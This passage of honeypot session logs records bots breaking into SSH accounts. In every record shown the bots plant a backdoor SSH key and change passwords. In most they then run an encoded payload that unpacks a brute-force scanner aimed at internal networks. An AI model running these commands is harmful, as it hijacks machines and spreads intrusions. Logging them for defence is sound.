/var/tmp/dota*"},{"seq":37,"at":"2026-08-22T15:42:16.677257+00:00","kind":"output","latency_ms":473,"data":""},{"seq":38,"at":"2026-08-22T15:42:19.030842+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T15:42:19.529505+00:00","kind":"output","latency_ms":498,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-22T15:42:20.329572+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T15:42:20.837580+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-22T15:42:21.631344+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T15:42:22.421023+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T15:42:23.112749+00:00","kind":"output","latency_ms":691,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-22T15:42:23.902551+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-22T15:42:24.338865+00:00","kind":"output","latency_ms":434,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-22T15:42:25.131278+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-22T15:42:25.560333+00:00","kind":"output","latency_ms":427,"data":""},{"seq":49,"at":"2026-08-22T15:42:34.932498+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":50,"at":"2026-08-22T15:42:34.933138+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Abc123!!!","method":"password","accepted":true,"tier":"other"}]} {"id":"7207bd6d-f105-44ce-ad44-2ecdc0e17b8e","name":"supple-lunar-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"81.192.46.36","src_port":58294,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":373,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T14:19:36.840359+00:00","ended_at":"2026-08-22T14:19:36.951750+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3814,"events":[{"seq":1,"at":"2026-08-22T14:19:08.742360+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T14:19:09.121936+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T14:19:12.666968+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T14:19:12.667525+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T14:19:13.035265+00:00","kind":"input","latency_ms":null,"data":"echo \"root:jP9Gd70SQ2Zh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T14:19:13.414057+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-22T14:19:13.783373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T14:19:13.783999+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T14:19:14.154802+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T14:19:14.227312+00:00","kind":"output","latency_ms":1192,"data":""},{"seq":11,"at":"2026-08-22T14:19:14.872214+00:00","kind":"output","latency_ms":717,"data":"15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-22T14:19:15.246045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T14:19:15.842237+00:00","kind":"output","latency_ms":595,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T14:19:16.209789+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T14:19:16.210331+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T14:19:16.580288+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T14:19:16.580949+00:00","kind":"output","latency_ms":null,"data":" 14:19:16 up 2 days, 11:09, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T14:19:16.949860+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T14:19:16.950500+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T14:19:17.323591+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-22T14:19:17.324125+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T14:19:17.699494+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T14:19:17.700091+00:00","kind":"output","latency_ms":null,"data":"top - 14:19:17 up 2 days, 11:09, 0 user, load average: 0.03, 0.03, 0.03\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T14:19:18.066580+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T14:19:18.067070+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T14:19:18.438629+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T14:19:18.439087+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T14:19:18.822227+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T14:19:18.823115+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T14:19:19.206140+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T14:19:20.146363+00:00","kind":"output","latency_ms":941,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-22T14:19:20.521580+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T14:19:21.472010+00:00","kind":"output","latency_ms":950,"data":"25G"},{"seq":34,"at":"2026-08-22T14:19:22.726873+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123456123456\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T14:19:23.104318+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T14:19:23.486775+00:00","kind":"output","latency_ms":384,"data":""},{"seq":37,"at":"2026-08-22T14:19:24.429181+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T14:19:25.074778+00:00","kind":"output","latency_ms":644,"data":"root 123456123456"},{"seq":39,"at":"2026-08-22T14:19:25.453082+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T14:19:26.081168+00:00","kind":"output","latency_ms":628,"data":"root 123456123456"},{"seq":41,"at":"2026-08-22T14:19:26.447876+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T14:19:26.815932+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T14:19:27.329341+00:00","kind":"output","latency_ms":512,"data":"root 123456123456"},{"seq":44,"at":"2026-08-22T14:19:27.694920+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T14:19:28.136778+00:00","kind":"output","latency_ms":437,"data":"root 123456123456"},{"seq":46,"at":"2026-08-22T14:19:28.506310+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T14:19:28.947525+00:00","kind":"output","latency_ms":439,"data":""},{"seq":48,"at":"2026-08-22T14:19:36.841265+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-22T14:19:36.841800+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123456123456","method":"password","accepted":true,"tier":"other"}]} {"id":"fd12e7ec-8d7d-4402-b538-0a87cd5d9eeb","name":"lawful-salty-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"41.204.82.238","src_port":39654,"username":"sagar","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":525,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T05:11:42.404059+00:00","ended_at":"2026-08-22T05:11:42.563531+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3371,"events":[{"seq":1,"at":"2026-08-22T05:11:07.622169+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T05:11:08.148601+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T05:11:13.974374+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T05:11:13.975085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T05:11:14.500881+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sagar\\nByh65z8LoLTm\\nByh65z8LoLTm\"|passwd|bash"},{"seq":6,"at":"2026-08-22T05:11:15.025315+00:00","kind":"input","latency_ms":null,"data":"echo \"sagar\\nByh65z8LoLTm\\nByh65z8LoLTm\\n\"|passwd"},{"seq":7,"at":"2026-08-22T05:11:15.555035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T05:11:15.555492+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T05:11:16.080147+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T05:11:16.776453+00:00","kind":"output","latency_ms":695,"data":"15888 6221 8167 231 426 6842"},{"seq":11,"at":"2026-08-22T05:11:17.300092+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T05:11:17.963745+00:00","kind":"output","latency_ms":662,"data":"-rwxr-xr-x 1 root root 140K Jan 1 00:00 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T05:11:18.488510+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T05:11:18.488952+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T05:11:19.013561+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T05:11:19.014106+00:00","kind":"output","latency_ms":null,"data":" 05:11:19 up 2 days, 2:01, 0 user, load average: 0.12, 0.14, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T05:11:19.539366+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-22T05:11:19.539941+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T05:11:20.065052+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T05:11:20.065596+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T05:11:20.591207+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T05:11:20.592349+00:00","kind":"output","latency_ms":null,"data":"top - 05:11:20 up 2 days, 2:01, 0 user, load average: 0.12, 0.14, 0.12\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T05:11:21.116331+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T05:11:21.117164+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T05:11:21.644905+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-22T05:11:21.645571+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-22T05:11:22.173147+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-22T05:11:22.173649+00:00","kind":"output","latency_ms":null,"data":"sagar"},{"seq":29,"at":"2026-08-22T05:11:22.700143+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-22T05:11:23.460942+00:00","kind":"output","latency_ms":760,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-22T05:11:23.985242+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-22T05:11:24.420971+00:00","kind":"output","latency_ms":434,"data":"24.02G"},{"seq":33,"at":"2026-08-22T05:11:26.180250+00:00","kind":"input","latency_ms":null,"data":"echo \"sagar sagar\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-22T05:11:26.721405+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-22T05:11:27.202758+00:00","kind":"output","latency_ms":478,"data":""},{"seq":36,"at":"2026-08-22T05:11:28.597476+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-22T05:11:29.398076+00:00","kind":"output","latency_ms":799,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-22T05:11:29.922283+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T05:11:30.590499+00:00","kind":"output","latency_ms":666,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-22T05:11:31.115410+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T05:11:31.639612+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T05:11:32.070077+00:00","kind":"output","latency_ms":430,"data":"1"},{"seq":43,"at":"2026-08-22T05:11:32.602560+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T05:11:33.042371+00:00","kind":"output","latency_ms":438,"data":"1"},{"seq":45,"at":"2026-08-22T05:11:33.568347+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-22T05:11:34.163092+00:00","kind":"output","latency_ms":594,"data":""},{"seq":47,"at":"2026-08-22T05:11:42.405098+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-22T05:11:42.405551+00:00","kind":"output","latency_ms":null,"data":"sagar"}],"credentials":[{"username":"sagar","password":"sagar","method":"password","accepted":true,"tier":"other"}]} {"id":"a138c833-813b-4b76-91a9-f7e27e1b99f6","name":"merry-faded-marmot","protocol":"ssh","channel_kind":"exec","src_ip":"183.91.11.36","src_port":40004,"username":"sagar","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":860,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T05:06:04.372296+00:00","ended_at":"2026-08-22T05:06:04.643002+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3321,"events":[{"seq":1,"at":"2026-08-22T05:05:17.333729+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T05:05:18.186486+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T05:05:26.754624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T05:05:26.755257+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T05:05:27.615120+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sagar\\nhem0Z9ZwTfX2\\nhem0Z9ZwTfX2\"|passwd|bash"},{"seq":6,"at":"2026-08-22T05:05:28.476855+00:00","kind":"input","latency_ms":null,"data":"echo \"sagar\\nhem0Z9ZwTfX2\\nhem0Z9ZwTfX2\\n\"|passwd"},{"seq":7,"at":"2026-08-22T05:05:29.331170+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T05:05:29.331937+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T05:05:30.191553+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T05:05:30.936244+00:00","kind":"output","latency_ms":744,"data":"15988 312 12844 1678 1155 0"},{"seq":11,"at":"2026-08-22T05:05:31.797785+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-22T05:05:32.379190+00:00","kind":"output","latency_ms":581,"data":"-rwxr-xr-x 1 root root 1.3M Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-22T05:05:33.240072+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-22T05:05:33.240803+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T05:05:34.099409+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-22T05:05:34.100036+00:00","kind":"output","latency_ms":null,"data":" 05:05:34 up 2 days, 1:55, 0 user, load average: 0.34, 0.32, 0.36\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-22T05:05:34.959694+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-22T05:05:34.961415+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-22T05:05:35.825042+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-22T05:05:35.825770+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-22T05:05:36.685952+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-22T05:05:36.686632+00:00","kind":"output","latency_ms":null,"data":"top - 05:05:36 up 2 days, 1:55, 0 user, load average: 0.34, 0.32, 0.36\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-22T05:05:37.555571+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-22T05:05:37.556301+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-22T05:05:38.418647+00:00","kind":"input","latency_ms":null,"data":"uname 